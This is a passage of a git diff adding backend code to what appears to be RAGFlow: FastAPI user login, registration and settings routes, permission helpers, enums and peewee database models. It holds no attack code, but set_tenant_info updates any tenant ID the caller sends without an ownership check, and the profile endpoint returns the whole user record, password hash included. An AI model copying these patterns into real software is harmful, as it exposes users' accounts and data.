+ avatar = download_img(user_info.avatar_url)
+ except Exception as e:
+ logging.exception(e)
+ avatar = ""
+
+ users = user_register(
+ user_id,
+ {
+ "access_token": get_uuid(),
+ "email": user_info.email,
+ "avatar": avatar,
+ "nickname": user_info.nickname,
+ "login_channel": channel,
+ "last_login_time": get_format_time(),
+ "is_superuser": False,
+ },
+ )
+
+ if not users:
+ raise Exception(f"Failed to register {user_info.email}")
+ if len(users) > 1:
+ raise Exception(f"Same email: {user_info.email} exists!")
+
+ # 尝试登录
+ user = users[0]
+ return RedirectResponse(url=f"/?auth={user.get_id()}")
+
+ except Exception as e:
+ rollback_user_registration(user_id)
+ logging.exception(e)
+ return RedirectResponse(url=f"/?error={str(e)}")
+
+ # 用户存在,尝试登录
+ user = users[0]
+ user.access_token = get_uuid()
+ if user and hasattr(user, 'is_active') and user.is_active == "0":
+ return RedirectResponse(url="/?error=user_inactive")
+
+ user.save()
+ return RedirectResponse(url=f"/?auth={user.get_id()}")
+ except Exception as e:
+ logging.exception(e)
+ return RedirectResponse(url=f"/?error={str(e)}")
+
+@router.get("/logout")
+async def log_out(current_user = Depends(get_current_user)):
+ """
+ 用户登出端点
+ """
+ current_user.access_token = f"INVALID_{secrets.token_hex(16)}"
+ current_user.save()
+ return get_json_result(data=True)
+
+@router.post("/setting")
+async def setting_user(request: UserSettingRequest, current_user = Depends(get_current_user)):
+ """
+ 更新用户设置
+ """
+ update_dict = {}
+ request_data = request.dict()
+
+ if request_data.get("password"):
+ new_password = request_data.get("new_password")
+ if not check_password_hash(current_user.password, decrypt(request_data["password"])):
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Password error!"
+ )
+
+ if new_password:
+ update_dict["password"] = generate_password_hash(decrypt(new_password))
+
+ for k in request_data.keys():
+ if k in [
+ "password",
+ "new_password",
+ "email",
+ "status",
+ "is_superuser",
+ "login_channel",
+ "is_anonymous",
+ "is_active",
+ "is_authenticated",
+ "last_login_time",
+ ]:
+ continue
+ update_dict[k] = request_data[k]
+
+ try:
+ UserService.update_by_id(current_user.id, update_dict)
+ return get_json_result(data=True)
+ except Exception as e:
+ logging.exception(e)
+ raise HTTPException(
+ status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
+ detail="Update failure!"
+ )
+
+@router.get("/info")
+async def user_profile(current_user = Depends(get_current_user)):
+ """
+ 获取用户配置文件信息
+ """
+ return get_json_result(data=current_user.to_dict())
+
+def rollback_user_registration(user_id):
+ """回滚用户注册"""
+ try:
+ UserService.delete_by_id(user_id)
+ except Exception:
+ pass
+ try:
+ TenantService.delete_by_id(user_id)
+ except Exception:
+ pass
+ try:
+ u = UserTenantService.query(tenant_id=user_id)
+ if u:
+ UserTenantService.delete_by_id(u[0].id)
+ except Exception:
+ pass
+ try:
+ TenantLLM.delete().where(TenantLLM.tenant_id == user_id).execute()
+ except Exception:
+ pass
+
+def user_register(user_id, user):
+ """用户注册"""
+ user["id"] = user_id
+ tenant = {
+ "id": user_id,
+ "name": user["nickname"] + "'s Kingdom",
+ "llm_id": settings.CHAT_MDL,
+ "embd_id": settings.EMBEDDING_MDL,
+ "asr_id": settings.ASR_MDL,
+ "parser_ids": settings.PARSERS,
+ "img2txt_id": settings.IMAGE2TEXT_MDL,
+ "rerank_id": settings.RERANK_MDL,
+ }
+ usr_tenant = {
+ "tenant_id": user_id,
+ "user_id": user_id,
+ "invited_by": user_id,
+ "role": UserTenantRole.OWNER,
+ }
+ file_id = get_uuid()
+ file = {
+ "id": file_id,
+ "parent_id": file_id,
+ "tenant_id": user_id,
+ "created_by": user_id,
+ "name": "/",
+ "type": FileType.FOLDER.value,
+ "size": 0,
+ "location": "",
+ }
+
+ tenant_llm = get_init_tenant_llm(user_id)
+
+ if not UserService.save(**user):
+ return
+ TenantService.insert(**tenant)
+ UserTenantService.insert(**usr_tenant)
+ TenantLLMService.insert_many(tenant_llm)
+ FileService.insert(file)
+ return UserService.query(email=user["email"])
+
+@router.post("/register")
+async def user_add(request: RegisterRequest):
+ """
+ 注册新用户
+ """
+ if not settings.REGISTER_ENABLED:
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail="User registration is disabled!"
+ )
+
+ email_address = request.email
+
+ # 验证邮箱地址
+ if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,}$", email_address):
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"Invalid email address: {email_address}!"
+ )
+
+ # 检查邮箱地址是否已被使用
+ if UserService.query(email=email_address):
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"Email: {email_address} has already registered!"
+ )
+
+ # 构建用户信息数据
+ nickname = request.nickname
+ user_dict = {
+ "access_token": get_uuid(),
+ "email": email_address,
+ "nickname": nickname,
+ "password": decrypt(request.password),
+ "login_channel": "password",
+ "last_login_time": get_format_time(),
+ "is_superuser": False,
+ }
+
+ user_id = get_uuid()
+ try:
+ users = user_register(user_id, user_dict)
+ if not users:
+ raise Exception(f"Fail to register {email_address}.")
+ if len(users) > 1:
+ raise Exception(f"Same email: {email_address} exists!")
+ user = users[0]
+ return construct_response(
+ data=user.to_json(),
+ auth=user.get_id(),
+ message=f"{nickname}, welcome aboard!",
+ )
+ except Exception as e:
+ rollback_user_registration(user_id)
+ logging.exception(e)
+ raise HTTPException(
+ status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
+ detail=f"User registration failure, error: {str(e)}"
+ )
+
+@router.get("/tenant_info")
+async def tenant_info(current_user = Depends(get_current_user)):
+ """
+ 获取租户信息
+ """
+ try:
+ tenants = TenantService.get_info_by(current_user.id)
+ if not tenants:
+ raise HTTPException(
+ status_code=status.HTTP_404_NOT_FOUND,
+ detail="Tenant not found!"
+ )
+ return get_json_result(data=tenants[0])
+ except Exception as e:
+ raise HTTPException(
+ status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
+ detail=str(e)
+ )
+
+@router.post("/set_tenant_info")
+async def set_tenant_info(request: TenantInfoRequest, current_user = Depends(get_current_user)):
+ """
+ 更新租户信息
+ """
+ try:
+ req_dict = request.dict()
+ tid = req_dict.pop("tenant_id")
+ TenantService.update_by_id(tid, req_dict)
+ return get_json_result(data=True)
+ except Exception as e:
+ raise HTTPException(
+ status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
+ detail=str(e)
+ )
diff --git a/api/common/README.md b/api/common/README.md
new file mode 100644
index 0000000..02f6302
--- /dev/null
+++ b/api/common/README.md
@@ -0,0 +1,2 @@
+The python files in this directory are shared between service. They contain common utilities, models, and functions that can be used across various
+services to ensure consistency and reduce code duplication.
\ No newline at end of file
diff --git a/api/common/base64.py b/api/common/base64.py
new file mode 100644
index 0000000..2b37dd2
--- /dev/null
+++ b/api/common/base64.py
@@ -0,0 +1,21 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import base64
+
+def encode_to_base64(input_string):
+ base64_encoded = base64.b64encode(input_string.encode('utf-8'))
+ return base64_encoded.decode('utf-8')
\ No newline at end of file
diff --git a/api/common/check_team_permission.py b/api/common/check_team_permission.py
new file mode 100644
index 0000000..c8e04d3
--- /dev/null
+++ b/api/common/check_team_permission.py
@@ -0,0 +1,59 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+
+from api.db import TenantPermission
+from api.db.db_models import File, Knowledgebase
+from api.db.services.file_service import FileService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.user_service import TenantService
+
+
+def check_kb_team_permission(kb: dict | Knowledgebase, other: str) -> bool:
+ kb = kb.to_dict() if isinstance(kb, Knowledgebase) else kb
+
+ kb_tenant_id = kb["tenant_id"]
+
+ if kb_tenant_id == other:
+ return True
+
+ if kb["permission"] != TenantPermission.TEAM:
+ return False
+
+ joined_tenants = TenantService.get_joined_tenants_by_user_id(other)
+ return any(tenant["tenant_id"] == kb_tenant_id for tenant in joined_tenants)
+
+
+def check_file_team_permission(file: dict | File, other: str) -> bool:
+ file = file.to_dict() if isinstance(file, File) else file
+
+ file_tenant_id = file["tenant_id"]
+ if file_tenant_id == other:
+ return True
+
+ file_id = file["id"]
+
+ kb_ids = [kb_info["kb_id"] for kb_info in FileService.get_kb_id_by_file_id(file_id)]
+
+ for kb_id in kb_ids:
+ ok, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not ok:
+ continue
+
+ if check_kb_team_permission(kb, other):
+ return True
+
+ return False
diff --git a/api/common/exceptions.py b/api/common/exceptions.py
new file mode 100644
index 0000000..5ce0e0b
--- /dev/null
+++ b/api/common/exceptions.py
@@ -0,0 +1,21 @@
+class AdminException(Exception):
+ def __init__(self, message, code=400):
+ super().__init__(message)
+ self.type = "admin"
+ self.code = code
+ self.message = message
+
+
+class UserNotFoundError(AdminException):
+ def __init__(self, username):
+ super().__init__(f"User '{username}' not found", 404)
+
+
+class UserAlreadyExistsError(AdminException):
+ def __init__(self, username):
+ super().__init__(f"User '{username}' already exists", 409)
+
+
+class CannotDeleteAdminError(AdminException):
+ def __init__(self):
+ super().__init__("Cannot delete admin account", 403)
\ No newline at end of file
diff --git a/api/constants.py b/api/constants.py
new file mode 100644
index 0000000..ce5cdeb
--- /dev/null
+++ b/api/constants.py
@@ -0,0 +1,28 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+NAME_LENGTH_LIMIT = 2**10
+
+IMG_BASE64_PREFIX = "data:image/png;base64,"
+
+SERVICE_CONF = "service_conf.yaml"
+
+API_VERSION = "v1"
+RAG_FLOW_SERVICE_NAME = "ragflow"
+REQUEST_WAIT_SEC = 2
+REQUEST_MAX_WAIT_SEC = 300
+
+DATASET_NAME_LIMIT = 128
+FILE_NAME_LEN_LIMIT = 255
diff --git a/api/db/__init__.py b/api/db/__init__.py
new file mode 100644
index 0000000..6e92434
--- /dev/null
+++ b/api/db/__init__.py
@@ -0,0 +1,141 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from enum import Enum
+from enum import IntEnum
+from strenum import StrEnum
+
+
+class StatusEnum(Enum):
+ VALID = "1"
+ INVALID = "0"
+
+
+class ActiveEnum(Enum):
+ ACTIVE = "1"
+ INACTIVE = "0"
+
+
+class UserTenantRole(StrEnum):
+ OWNER = 'owner'
+ ADMIN = 'admin'
+ NORMAL = 'normal'
+ INVITE = 'invite'
+
+
+class TenantPermission(StrEnum):
+ ME = 'me'
+ TEAM = 'team'
+
+
+class SerializedType(IntEnum):
+ PICKLE = 1
+ JSON = 2
+
+
+class FileType(StrEnum):
+ PDF = 'pdf'
+ DOC = 'doc'
+ VISUAL = 'visual'
+ AURAL = 'aural'
+ VIRTUAL = 'virtual'
+ FOLDER = 'folder'
+ OTHER = "other"
+
+VALID_FILE_TYPES = {FileType.PDF, FileType.DOC, FileType.VISUAL, FileType.AURAL, FileType.VIRTUAL, FileType.FOLDER, FileType.OTHER}
+
+class LLMType(StrEnum):
+ CHAT = 'chat'
+ EMBEDDING = 'embedding'
+ SPEECH2TEXT = 'speech2text'
+ IMAGE2TEXT = 'image2text'
+ RERANK = 'rerank'
+ TTS = 'tts'
+
+
+class ChatStyle(StrEnum):
+ CREATIVE = 'Creative'
+ PRECISE = 'Precise'
+ EVENLY = 'Evenly'
+ CUSTOM = 'Custom'
+
+
+class TaskStatus(StrEnum):
+ UNSTART = "0"
+ RUNNING = "1"
+ CANCEL = "2"
+ DONE = "3"
+ FAIL = "4"
+
+
+VALID_TASK_STATUS = {TaskStatus.UNSTART, TaskStatus.RUNNING, TaskStatus.CANCEL, TaskStatus.DONE, TaskStatus.FAIL}
+
+
+class ParserType(StrEnum):
+ PRESENTATION = "presentation"
+ LAWS = "laws"
+ MANUAL = "manual"
+ PAPER = "paper"
+ RESUME = "resume"
+ BOOK = "book"
+ QA = "qa"
+ TABLE = "table"
+ NAIVE = "naive"
+ PICTURE = "picture"
+ ONE = "one"
+ AUDIO = "audio"
+ EMAIL = "email"
+ KG = "knowledge_graph"
+ TAG = "tag"
+
+
+class FileSource(StrEnum):
+ LOCAL = ""
+ KNOWLEDGEBASE = "knowledgebase"
+ S3 = "s3"
+
+
+class CanvasType(StrEnum):
+ ChatBot = "chatbot"
+ DocBot = "docbot"
+
+
+class CanvasCategory(StrEnum):
+ Agent = "agent_canvas"
+ DataFlow = "dataflow_canvas"
+
+VALID_CANVAS_CATEGORIES = {CanvasCategory.Agent, CanvasCategory.DataFlow}
+
+
+class MCPServerType(StrEnum):
+ SSE = "sse"
+ STREAMABLE_HTTP = "streamable-http"
+
+
+VALID_MCP_SERVER_TYPES = {MCPServerType.SSE, MCPServerType.STREAMABLE_HTTP}
+
+
+class PipelineTaskType(StrEnum):
+ PARSE = "Parse"
+ DOWNLOAD = "Download"
+ RAPTOR = "RAPTOR"
+ GRAPH_RAG = "GraphRAG"
+ MINDMAP = "Mindmap"
+
+
+VALID_PIPELINE_TASK_TYPES = {PipelineTaskType.PARSE, PipelineTaskType.DOWNLOAD, PipelineTaskType.RAPTOR, PipelineTaskType.GRAPH_RAG, PipelineTaskType.MINDMAP}
+
+
+KNOWLEDGEBASE_FOLDER_NAME=".knowledgebase"
diff --git a/api/db/db_models.py b/api/db/db_models.py
new file mode 100644
index 0000000..d31586d
--- /dev/null
+++ b/api/db/db_models.py
@@ -0,0 +1,1146 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import hashlib
+import inspect
+import logging
+import operator
+import os
+import sys
+import time
+import typing
+from enum import Enum
+from functools import wraps
+
+from flask_login import UserMixin
+from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
+from peewee import InterfaceError, OperationalError, BigIntegerField, BooleanField, CharField, CompositeKey, DateTimeField, Field, FloatField, IntegerField, Metadata, Model, TextField
+from playhouse.migrate import MySQLMigrator, PostgresqlMigrator, migrate
+from playhouse.pool import PooledMySQLDatabase, PooledPostgresqlDatabase
+
+from api import settings, utils
+from api.db import ParserType, SerializedType
+from api.utils.json import json_dumps, json_loads
+from api.utils.configs import deserialize_b64, serialize_b64
+
+
+def singleton(cls, *args, **kw):
+ instances = {}
+
+ def _singleton():
+ key = str(cls) + str(os.getpid())
+ if key not in instances:
+ instances[key] = cls(*args, **kw)
+ return instances[key]
+
+ return _singleton
+
+
+CONTINUOUS_FIELD_TYPE = {IntegerField, FloatField, DateTimeField}
+AUTO_DATE_TIMESTAMP_FIELD_PREFIX = {"create", "start", "end", "update", "read_access", "write_access"}
+
+
+class TextFieldType(Enum):
+ MYSQL = "LONGTEXT"
+ POSTGRES = "TEXT"
+
+
+class LongTextField(TextField):
+ field_type = TextFieldType[settings.DATABASE_TYPE.upper()].value
+
+
+class JSONField(LongTextField):
+ default_value = {}
+
+ def __init__(self, object_hook=None, object_pairs_hook=None, **kwargs):
+ self._object_hook = object_hook
+ self._object_pairs_hook = object_pairs_hook
+ super().__init__(**kwargs)
+
+ def db_value(self, value):
+ if value is None:
+ value = self.default_value
+ return json_dumps(value)
+
+ def python_value(self, value):
+ if not value:
+ return self.default_value
+ return json_loads(value, object_hook=self._object_hook, object_pairs_hook=self._object_pairs_hook)
+
+
+class ListField(JSONField):
+ default_value = []
+
+
+class SerializedField(LongTextField):
+ def __init__(self, serialized_type=SerializedType.PICKLE, object_hook=None, object_pairs_hook=None, **kwargs):
+ self._serialized_type = serialized_type
+ self._object_hook = object_hook
+ self._object_pairs_hook = object_pairs_hook
+ super().__init__(**kwargs)
+
+ def db_value(self, value):
+ if self._serialized_type == SerializedType.PICKLE:
+ return serialize_b64(value, to_str=True)
+ elif self._serialized_type == SerializedType.JSON:
+ if value is None:
+ return None
+ return json_dumps(value, with_type=True)
+ else:
+ raise ValueError(f"the serialized type {self._serialized_type} is not supported")
+
+ def python_value(self, value):
+ if self._serialized_type == SerializedType.PICKLE:
+ return deserialize_b64(value)
+ elif self._serialized_type == SerializedType.JSON:
+ if value is None:
+ return {}
+ return json_loads(value, object_hook=self._object_hook, object_pairs_hook=self._object_pairs_hook)
+ else:
+ raise ValueError(f"the serialized type {self._serialized_type} is not supported")
+
+
+def is_continuous_field(cls: typing.Type) -> bool:
+ if cls in CONTINUOUS_FIELD_TYPE:
+ return True
+ for p in cls.__bases__:
+ if p in CONTINUOUS_FIELD_TYPE:
+ return True
+ elif p is not Field and p is not object:
+ if is_continuous_field(p):
+ return True
+ else:
+ return False
+
+
+def auto_date_timestamp_field():
+ return {f"{f}_time" for f in AUTO_DATE_TIMESTAMP_FIELD_PREFIX}
+
+
+def auto_date_timestamp_db_field():
+ return {f"f_{f}_time" for f in AUTO_DATE_TIMESTAMP_FIELD_PREFIX}
+
+
+def remove_field_name_prefix(field_name):
+ return field_name[2:] if field_name.startswith("f_") else field_name
+
+
+class BaseModel(Model):
+ create_time = BigIntegerField(null=True, index=True)
+ create_date = DateTimeField(null=True, index=True)
+ update_time = BigIntegerField(null=True, index=True)
+ update_date = DateTimeField(null=True, index=True)
+
+ def to_json(self):
+ # This function is obsolete
+ return self.to_dict()
+
+ def to_dict(self):
+ return self.__dict__["__data__"]
+
+ def to_human_model_dict(self, only_primary_with: list = None):
+ model_dict = self.__dict__["__data__"]
+
+ if not only_primary_with:
+ return {remove_field_name_prefix(k): v for k, v in model_dict.items()}
+
+ human_model_dict = {}
+ for k in self._meta.primary_key.field_names:
+ human_model_dict[remove_field_name_prefix(k)] = model_dict[k]
+ for k in only_primary_with:
+ human_model_dict[k] = model_dict[f"f_{k}"]
+ return human_model_dict
+
+ @property
+ def meta(self) -> Metadata:
+ return self._meta
+
+ @classmethod
+ def get_primary_keys_name(cls):
+ return cls._meta.primary_key.field_names if isinstance(cls._meta.primary_key, CompositeKey) else [cls._meta.primary_key.name]
+
+ @classmethod
+ def getter_by(cls, attr):
+ return operator.attrgetter(attr)(cls)
+
+ @classmethod
+ def query(cls, reverse=None, order_by=None, **kwargs):
+ filters = []
+ for f_n, f_v in kwargs.items():
+ attr_name = "%s" % f_n
+ if not hasattr(cls, attr_name) or f_v is None:
+ continue
+ if type(f_v) in {list, set}:
+ f_v = list(f_v)
+ if is_continuous_field(type(getattr(cls, attr_name))):
+ if len(f_v) == 2:
+ for i, v in enumerate(f_v):
+ if isinstance(v, str) and f_n in auto_date_timestamp_field():
+ # time type: %Y-%m-%d %H:%M:%S
+ f_v[i] = utils.date_string_to_timestamp(v)
+ lt_value = f_v[0]
+ gt_value = f_v[1]
+ if lt_value is not None and gt_value is not None:
+ filters.append(cls.getter_by(attr_name).between(lt_value, gt_value))
+ elif lt_value is not None:
+ filters.append(operator.attrgetter(attr_name)(cls) >= lt_value)
+ elif gt_value is not None:
+ filters.append(operator.attrgetter(attr_name)(cls) <= gt_value)
+ else:
+ filters.append(operator.attrgetter(attr_name)(cls) << f_v)
+ else:
+ filters.append(operator.attrgetter(attr_name)(cls) == f_v)
+ if filters:
+ query_records = cls.select().where(*filters)
+ if reverse is not None:
+ if not order_by or not hasattr(cls, f"{order_by}"):
+ order_by = "create_time"
+ if reverse is True:
+ query_records = query_records.order_by(cls.getter_by(f"{order_by}").desc())
+ elif reverse is False:
+ query_records = query_records.order_by(cls.getter_by(f"{order_by}").asc())
+ return [query_record for query_record in query_records]
+ else:
+ return []
+
+ @classmethod
+ def insert(cls, __data=None, **insert):
+ if isinstance(__data, dict) and __data:
+ __data[cls._meta.combined["create_time"]] = utils.current_timestamp()
+ if insert:
+ insert["create_time"] = utils.current_timestamp()
+
+ return super().insert(__data, **insert)
+
+ # update and insert will call this method
+ @classmethod
+ def _normalize_data(cls, data, kwargs):
+ normalized = super()._normalize_data(data, kwargs)
+ if not normalized:
+ return {}
+
+ normalized[cls._meta.combined["update_time"]] = utils.current_timestamp()
+
+ for f_n in AUTO_DATE_TIMESTAMP_FIELD_PREFIX:
+ if {f"{f_n}_time", f"{f_n}_date"}.issubset(cls._meta.combined.keys()) and cls._meta.combined[f"{f_n}_time"] in normalized and normalized[cls._meta.combined[f"{f_n}_time"]] is not None:
+ normalized[cls._meta.combined[f"{f_n}_date"]] = utils.timestamp_to_date(normalized[cls._meta.combined[f"{f_n}_time"]])
+
+ return normalized
+
+
+class JsonSerializedField(SerializedField):
+ def __init__(self, object_hook=utils.from_dict_hook, object_pairs_hook=None, **kwargs):
+ super(JsonSerializedField, self).__init__(serialized_type=SerializedType.JSON, object_hook=object_hook, object_pairs_hook=object_pairs_hook, **kwargs)
+
+
+class RetryingPooledMySQLDatabase(PooledMySQLDatabase):
+ def __init__(self, *args, **kwargs):
+ self.max_retries = kwargs.pop("max_retries", 5)
+ self.retry_delay = kwargs.pop("retry_delay", 1)
+ super().__init__(*args, **kwargs)
+
+ def execute_sql(self, sql, params=None, commit=True):
+ for attempt in range(self.max_retries + 1):
+ try:
+ return super().execute_sql(sql, params, commit)
+ except (OperationalError, InterfaceError) as e:
+ error_codes = [2013, 2006]
+ error_messages = ['', 'Lost connection']
+ should_retry = (
+ (hasattr(e, 'args') and e.args and e.args[0] in error_codes) or
+ (str(e) in error_messages) or
+ (hasattr(e, '__class__') and e.__class__.__name__ == 'InterfaceError')
+ )
+
+ if should_retry and attempt < self.max_retries:
+ logging.warning(
+ f"Database connection issue (attempt {attempt+1}/{self.max_retries}): {e}"
+ )
+ self._handle_connection_loss()
+ time.sleep(self.retry_delay * (2 ** attempt))
+ else:
+ logging.error(f"DB execution failure: {e}")
+ raise
+ return None
+
+ def _handle_connection_loss(self):
+ # self.close_all()
+ # self.connect()
+ try:
+ self.close()
+ except Exception:
+ pass
+ try:
+ self.connect()
+ except Exception as e:
+ logging.error(f"Failed to reconnect: {e}")
+ time.sleep(0.1)
+ self.connect()
+
+ def begin(self):
+ for attempt in range(self.max_retries + 1):
+ try:
+ return super().begin()
+ except (OperationalError, InterfaceError) as e:
+ error_codes = [2013, 2006]
+ error_messages = ['', 'Lost connection']
+
+ should_retry = (
+ (hasattr(e, 'args') and e.args and e.args[0] in error_codes) or
+ (str(e) in error_messages) or
+ (hasattr(e, '__class__') and e.__class__.__name__ == 'InterfaceError')
+ )
+
+ if should_retry and attempt < self.max_retries:
+ logging.warning(
+ f"Lost connection during transaction (attempt {attempt+1}/{self.max_retries})"
+ )
+ self._handle_connection_loss()
+ time.sleep(self.retry_delay * (2 ** attempt))
+ else:
+ raise
+
+
+class PooledDatabase(Enum):
+ MYSQL = RetryingPooledMySQLDatabase
+ POSTGRES = PooledPostgresqlDatabase
+
+
+class DatabaseMigrator(Enum):
+ MYSQL = MySQLMigrator
+ POSTGRES = PostgresqlMigrator
+
+
+@singleton
+class BaseDataBase:
+ def __init__(self):
+ database_config = settings.DATABASE.copy()
+ db_name = database_config.pop("name")
+
+ # pool_config = {
+ # 'max_retries': 5,
+ # 'retry_delay': 1,
+ # }
+ # database_config.update(pool_config)
+
+ self.database_connection = PooledDatabase[settings.DATABASE_TYPE.upper()].value(
+ db_name, **database_config
+ )
+ # self.database_connection = PooledDatabase[settings.DATABASE_TYPE.upper()].value(db_name, **database_config)
+ logging.info("init database on cluster mode successfully")
+
+
+def with_retry(max_retries=3, retry_delay=1.0):
+ """Decorator: Add retry mechanism to database operations
+
+ Args:
+ max_retries (int): maximum number of retries
+ retry_delay (float): initial retry delay (seconds), will increase exponentially
+
+ Returns:
+ decorated function
+ """
+
+ def decorator(func):
+ @wraps(func)
+ def wrapper(*args, **kwargs):
+ last_exception = None
+ for retry in range(max_retries):
+ try:
+ return func(*args, **kwargs)
+ except Exception as e:
+ last_exception = e
+ # get self and method name for logging
+ self_obj = args[0] if args else None
+ func_name = func.__name__
+ lock_name = getattr(self_obj, "lock_name", "unknown") if self_obj else "unknown"
+
+ if retry < max_retries - 1:
+ current_delay = retry_delay * (2**retry)
+ logging.warning(f"{func_name} {lock_name} failed: {str(e)}, retrying ({retry + 1}/{max_retries})")
+ time.sleep(current_delay)
+ else:
+ logging.error(f"{func_name} {lock_name} failed after all attempts: {str(e)}")
+
+ if last_exception:
+ raise last_exception
+ return False
+
+ return wrapper
+
+ return decorator
+
+
+class PostgresDatabaseLock:
+ def __init__(self, lock_name, timeout=10, db=None):
+ self.lock_name = lock_name
+ self.lock_id = int(hashlib.md5(lock_name.encode()).hexdigest(), 16) % (2**31 - 1)
+ self.timeout = int(timeout)
+ self.db = db if db else DB
+
+ @with_retry(max_retries=3, retry_delay=1.0)
+ def lock(self):
+ cursor = self.db.execute_sql("SELECT pg_try_advisory_lock(%s)", (self.lock_id,))
+ ret = cursor.fetchone()
+ if ret[0] == 0:
+ raise Exception(f"acquire postgres lock {self.lock_name} timeout")
+ elif ret[0] == 1:
+ return True
+ else:
+ raise Exception(f"failed to acquire lock {self.lock_name}")
+
+ @with_retry(max_retries=3, retry_delay=1.0)
+ def unlock(self):
+ cursor = self.db.execute_sql("SELECT pg_advisory_unlock(%s)", (self.lock_id,))
+ ret = cursor.fetchone()
+ if ret[0] == 0:
+ raise Exception(f"postgres lock {self.lock_name} was not established by this thread")
+ elif ret[0] == 1:
+ return True
+ else:
+ raise Exception(f"postgres lock {self.lock_name} does not exist")
+
+ def __enter__(self):
+ if isinstance(self.db, PooledPostgresqlDatabase):
+ self.lock()
+ return self
+
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ if isinstance(self.db, PooledPostgresqlDatabase):
+ self.unlock()
+
+ def __call__(self, func):
+ @wraps(func)
+ def magic(*args, **kwargs):
+ with self:
+ return func(*args, **kwargs)
+
+ return magic
+
+
+class MysqlDatabaseLock:
+ def __init__(self, lock_name, timeout=10, db=None):
+ self.lock_name = lock_name
+ self.timeout = int(timeout)
+ self.db = db if db else DB
+
+ @with_retry(max_retries=3, retry_delay=1.0)
+ def lock(self):
+ # SQL parameters only support %s format placeholders
+ cursor = self.db.execute_sql("SELECT GET_LOCK(%s, %s)", (self.lock_name, self.timeout))
+ ret = cursor.fetchone()
+ if ret[0] == 0:
+ raise Exception(f"acquire mysql lock {self.lock_name} timeout")
+ elif ret[0] == 1:
+ return True
+ else:
+ raise Exception(f"failed to acquire lock {self.lock_name}")
+
+ @with_retry(max_retries=3, retry_delay=1.0)
+ def unlock(self):
+ cursor = self.db.execute_sql("SELECT RELEASE_LOCK(%s)", (self.lock_name,))
+ ret = cursor.fetchone()
+ if ret[0] == 0:
+ raise Exception(f"mysql lock {self.lock_name} was not established by this thread")
+ elif ret[0] == 1:
+ return True
+ else:
+ raise Exception(f"mysql lock {self.lock_name} does not exist")
+
+ def __enter__(self):
+ if isinstance(self.db, PooledMySQLDatabase):
+ self.lock()
+ return self
+
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ if isinstance(self.db, PooledMySQLDatabase):
+ self.unlock()
+
+ def __call__(self, func):
+ @wraps(func)
+ def magic(*args, **kwargs):
+ with self:
+ return func(*args, **kwargs)
+
+ return magic
+
+
+class DatabaseLock(Enum):
+ MYSQL = MysqlDatabaseLock
+ POSTGRES = PostgresDatabaseLock
+
+
+DB = BaseDataBase().database_connection
+DB.lock = DatabaseLock[settings.DATABASE_TYPE.upper()].value
+
+
+def close_connection():
+ try:
+ if DB:
+ DB.close_stale(age=30)
+ except Exception as e:
+ logging.exception(e)
+
+
+class DataBaseModel(BaseModel):
+ class Meta:
+ database = DB
+
+
+@DB.connection_context()
+@DB.lock("init_database_tables", 60)
+def init_database_tables(alter_fields=[]):
+ members = inspect.getmembers(sys.modules[__name__], inspect.isclass)
+ table_objs = []
+ create_failed_list = []
+ for name, obj in members:
+ if obj != DataBaseModel and issubclass(obj, DataBaseModel):
+ table_objs.append(obj)
+
+ if not obj.table_exists():
+ logging.debug(f"start create table {obj.__name__}")
+ try:
+ obj.create_table(safe=True)
